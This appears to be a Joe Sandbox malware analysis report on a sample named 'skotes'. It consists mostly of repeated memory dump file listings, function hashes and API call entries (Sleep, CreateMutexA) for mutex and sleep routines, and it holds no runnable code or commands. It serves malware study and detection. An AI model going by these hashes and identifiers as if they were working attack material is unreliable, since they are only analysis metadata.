Associated: 00000002.00000002.2173537141.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173553915.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173568702.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173583172.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173671149.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173688756.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173738596.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173754222.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173769910.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173785244.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173804381.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173818583.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173834116.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173849725.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173868224.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173885205.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173901343.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173916908.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173931796.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173950319.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173964848.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173979314.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173995442.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174010012.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174024606.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174040457.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174058291.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174073463.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174089320.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174104827.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174124452.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174184821.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174199142.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174213902.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174227787.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174243943.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174259856.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f1a98152d90f120b47daabb261ef424fa9a87254c78c3929a750aebb1dc0479e
Instruction ID: 0fdab3d93d80b861a3a93d5d978cc76f7636cea346c56d16411423aee3a3e07f
Opcode Fuzzy Hash: f1a98152d90f120b47daabb261ef424fa9a87254c78c3929a750aebb1dc0479e
Instruction Fuzzy Hash: BE315931A052009BFB08DB78DC89B6DB7B2EFD6314FA4C629E018973D1D7769A808712

Function 0017A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0017A963
CreateMutexA.KERNELBASE(00000000,00000000,001D3254), ref: 0017A981

Memory Dump Source

Source File: 00000002.00000002.2173468977.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.2173445167.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173468977.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173521374.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173537141.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173553915.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173568702.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173583172.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173671149.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173688756.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173738596.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173754222.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173769910.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173785244.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173804381.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173818583.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173834116.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173849725.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173868224.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173885205.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173901343.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173916908.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173931796.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173950319.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173964848.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173979314.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173995442.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174010012.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174024606.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174040457.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174058291.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174073463.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174089320.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174104827.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174124452.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174184821.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174199142.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174213902.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174227787.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174243943.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174259856.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 047061aaf62139d02e67f5de08ea03238dfc1cde9acd1be1ade1917e6376600f
Instruction ID: a45d14bf3469f3534923b5c511d53650c0cf189a5bb7fd6f53d69950743dadc0
Opcode Fuzzy Hash: 047061aaf62139d02e67f5de08ea03238dfc1cde9acd1be1ade1917e6376600f
Instruction Fuzzy Hash: E1316C31A042009BEB08AB78DC8DB6DB772EFD1318F68C219E019973D5D7B69A808753

Function 0017A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0017A963
CreateMutexA.KERNELBASE(00000000,00000000,001D3254), ref: 0017A981

Memory Dump Source

Source File: 00000002.00000002.2173468977.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.2173445167.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173468977.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173521374.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173537141.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173553915.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173568702.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173583172.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173671149.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173688756.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173738596.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173754222.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173769910.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173785244.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173804381.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173818583.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173834116.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173849725.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173868224.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173885205.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173901343.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173916908.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173931796.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173950319.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173964848.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173979314.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173995442.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174010012.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174024606.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174040457.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174058291.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174073463.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174089320.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174104827.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174124452.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174184821.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174199142.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174213902.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174227787.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174243943.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174259856.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4fcaabd14f793e21e25227c192b5be3456fb4109b7cbaefa097c8bec2d8f9701
Instruction ID: 49815667773c53327d3ec72e4a5a3b15a853009f552b56180f54baf1a6f2fdf3
Opcode Fuzzy Hash: 4fcaabd14f793e21e25227c192b5be3456fb4109b7cbaefa097c8bec2d8f9701
Instruction Fuzzy Hash: CC313B31A052049BEB08DB78DCD9B6DB772EFC5318F64C619E0589B3D5C7759A808712

Function 0017A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0017A963
CreateMutexA.KERNELBASE(00000000,00000000,001D3254), ref: 0017A981

Memory Dump Source

Source File: 00000002.00000002.2173468977.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.2173445167.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173468977.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173521374.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173537141.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173553915.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173568702.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173583172.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173671149.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173688756.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173738596.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173754222.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173769910.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173785244.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173804381.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173818583.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173834116.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173849725.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173868224.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173885205.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173901343.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173916908.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173931796.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173950319.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173964848.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173979314.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173995442.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174010012.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174024606.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174040457.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174058291.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174073463.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174089320.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174104827.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174124452.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174184821.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174199142.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174213902.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174227787.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174243943.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174259856.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 64af7f5ffc4668c66a1690f9c83b89d5c981d7a81d6225463e4eef1f41e52c51
Instruction ID: 628c6a4fa6ee5f6a9bc95f503416310be6988fad794a820ebb6f5f7cd7489b3f
Opcode Fuzzy Hash: 64af7f5ffc4668c66a1690f9c83b89d5c981d7a81d6225463e4eef1f41e52c51
Instruction Fuzzy Hash: C8315931A042048BEB08DB78DD89B6DB7B2DFC1318F64C629E0189B3D5C7759A808B53

Function 00179ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0017A963
CreateMutexA.KERNELBASE(00000000,00000000,001D3254), ref: 0017A981

Memory Dump Source

Source File: 00000002.00000002.2173468977.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.2173445167.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173468977.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173521374.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173537141.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173553915.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173568702.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173583172.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173671149.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173688756.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173738596.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173754222.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173769910.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173785244.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173804381.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173818583.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173834116.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173849725.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173868224.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173885205.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173901343.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173916908.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173931796.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173950319.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173964848.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173979314.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173995442.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174010012.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174024606.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174040457.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174058291.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174073463.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174089320.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174104827.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174124452.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174184821.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174199142.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174213902.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174227787.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174243943.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174259856.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 38e6a7e107144fff73f8c44d6d64948490bbbc6fe92e0340028221130dafc694
Instruction ID: 6551f7fab703d0f0dd40378de624d15af4fb0461f9e908445d2fcf0684074e16
Opcode Fuzzy Hash: 38e6a7e107144fff73f8c44d6d64948490bbbc6fe92e0340028221130dafc694
Instruction Fuzzy Hash: 59214C316042009BEB189B6CECC9B2CB7B2EFD1314F20C229E41C972D5D775AA908B12

Function 0017A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0017A963
CreateMutexA.KERNELBASE(00000000,00000000,001D3254), ref: 0017A981

Memory Dump Source

Source File: 00000002.00000002.2173468977.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.2173445167.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173468977.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173521374.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173537141.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173553915.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173568702.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173583172.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173671149.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173688756.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173738596.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173754222.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173769910.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173785244.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173804381.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173818583.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173834116.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173849725.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173868224.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173885205.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173901343.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173916908.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173931796.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173950319.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173964848.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173979314.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173995442.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
